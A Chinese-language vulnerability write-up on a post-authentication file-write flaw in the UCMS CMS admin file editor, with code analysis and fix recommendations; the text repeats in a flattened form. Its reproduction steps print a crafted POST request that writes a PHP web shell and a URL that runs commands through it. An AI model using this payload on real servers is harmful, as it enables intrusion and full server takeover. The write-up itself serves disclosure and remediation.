某一cms后台代码执行漏洞
字数 963 2025-08-26 22:11:40

UCMS后台代码执行漏洞分析与利用

漏洞概述

UCMS内容管理系统存在一个后台代码执行漏洞,允许已认证的攻击者通过文件编辑功能写入任意文件内容,从而导致远程代码执行(RCE)。该漏洞存在于后台文件管理模块,需要管理员权限才能利用。

漏洞影响

  • 影响版本:特定版本的UCMS系统
  • 漏洞类型:文件写入导致代码执行
  • 危害等级:高危(需要后台管理员权限)

漏洞复现步骤

  1. 登录后台:首先需要获取有效的管理员凭证登录系统后台

  2. 访问文件管理

    • 进入"后台管理中心" → "文件管理"
    • 任意选择一个可编辑的文件进行编辑
  3. 拦截保存请求

    • 修改文件内容后点击保存
    • 使用Burp Suite等工具拦截保存请求
  4. 构造恶意请求

    POST /sadmin/fileedit.php?dir=/&file=shell.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    co=<?php system($_GET['cmd']);?>
    
  5. 访问恶意文件

    • 访问写入的shell文件执行任意命令
    http://target.com/shell.php?cmd=whoami
    

漏洞分析

漏洞位置

漏洞主要存在于两个文件:

  1. uncms/index.php (44行)
  2. sadmin/fileedit.php

关键代码分析

  1. index.php中的路由处理
if(isset($_GET['do'])) {
    $thisdo=explode('_',$_GET['do']);
    // ...
    require($thisdo[0].'/'.$thisdo[1].'.php');
}

这部分代码直接将GET参数do作为文件名包含,缺乏足够的安全检查。

  1. fileedit.php中的文件写入
if(isset($_POST['co'])) {
    checktoken();
    $content=$_POST['co'];
    $fp = @fopen($alldir.$filename,"w");
    @fwrite($fp,$content);
    fclose($fp);
    // ...
}

关键问题:

  • 使用w模式打开文件,文件不存在时会自动创建
  • $filename$content缺乏有效过滤
  • 仅检查文件扩展名是否在允许列表(php,css,js,htm,html,txt)
  1. 文件扩展名检查函数
function isedit($filename) {
    $array=array('php','css','js','htm','html','txt');
    foreach($array as $val) {
        if(pathinfo($filename, PATHINFO_EXTENSION)==$val) {
            Return true;
        }
    }
    Return false;
}

虽然检查了文件扩展名,但允许.php文件被编辑,这是致命的安全问题。

安全缺陷

  1. 缺乏对文件路径的严格校验
  2. 允许写入PHP等可执行文件类型
  3. 对文件内容没有进行安全过滤
  4. 仅依赖扩展名检查,没有考虑其他安全因素

修复建议

  1. 严格限制可编辑文件类型

    • 禁止编辑.php等可执行文件
    • 仅允许编辑静态资源文件
  2. 加强路径校验

    • 使用白名单限制可编辑目录
    • 禁止相对路径和特殊字符
  3. 内容安全检查

    • 对写入内容进行PHP标签检测
    • 实现内容过滤机制
  4. 权限控制

    • 增加更细粒度的权限控制
    • 对文件操作进行日志记录

参考链接

天融信关于UCMS系统存在代码注入漏洞的分析

总结

该漏洞虽然需要管理员权限才能利用,但危害性极高,可导致完全控制服务器。开发人员应重视后台功能的安全性,不能仅依赖前端验证,必须在服务器端实施严格的安全控制。

UCMS后台代码执行漏洞分析与利用 漏洞概述 UCMS内容管理系统存在一个后台代码执行漏洞,允许已认证的攻击者通过文件编辑功能写入任意文件内容,从而导致远程代码执行(RCE)。该漏洞存在于后台文件管理模块,需要管理员权限才能利用。 漏洞影响 影响版本:特定版本的UCMS系统 漏洞类型:文件写入导致代码执行 危害等级:高危(需要后台管理员权限) 漏洞复现步骤 登录后台 :首先需要获取有效的管理员凭证登录系统后台 访问文件管理 : 进入"后台管理中心" → "文件管理" 任意选择一个可编辑的文件进行编辑 拦截保存请求 : 修改文件内容后点击保存 使用Burp Suite等工具拦截保存请求 构造恶意请求 : 访问恶意文件 : 访问写入的shell文件执行任意命令 漏洞分析 漏洞位置 漏洞主要存在于两个文件: uncms/index.php (44行) sadmin/fileedit.php 关键代码分析 index.php中的路由处理 : 这部分代码直接将GET参数 do 作为文件名包含,缺乏足够的安全检查。 fileedit.php中的文件写入 : 关键问题: 使用 w 模式打开文件,文件不存在时会自动创建 对 $filename 和 $content 缺乏有效过滤 仅检查文件扩展名是否在允许列表( php , css , js , htm , html , txt ) 文件扩展名检查函数 : 虽然检查了文件扩展名,但允许.php文件被编辑,这是致命的安全问题。 安全缺陷 缺乏对文件路径的严格校验 允许写入PHP等可执行文件类型 对文件内容没有进行安全过滤 仅依赖扩展名检查,没有考虑其他安全因素 修复建议 严格限制可编辑文件类型 : 禁止编辑.php等可执行文件 仅允许编辑静态资源文件 加强路径校验 : 使用白名单限制可编辑目录 禁止相对路径和特殊字符 内容安全检查 : 对写入内容进行PHP标签检测 实现内容过滤机制 权限控制 : 增加更细粒度的权限控制 对文件操作进行日志记录 参考链接 天融信关于UCMS系统存在代码注入漏洞的分析 总结 该漏洞虽然需要管理员权限才能利用,但危害性极高,可导致完全控制服务器。开发人员应重视后台功能的安全性,不能仅依赖前端验证,必须在服务器端实施严格的安全控制。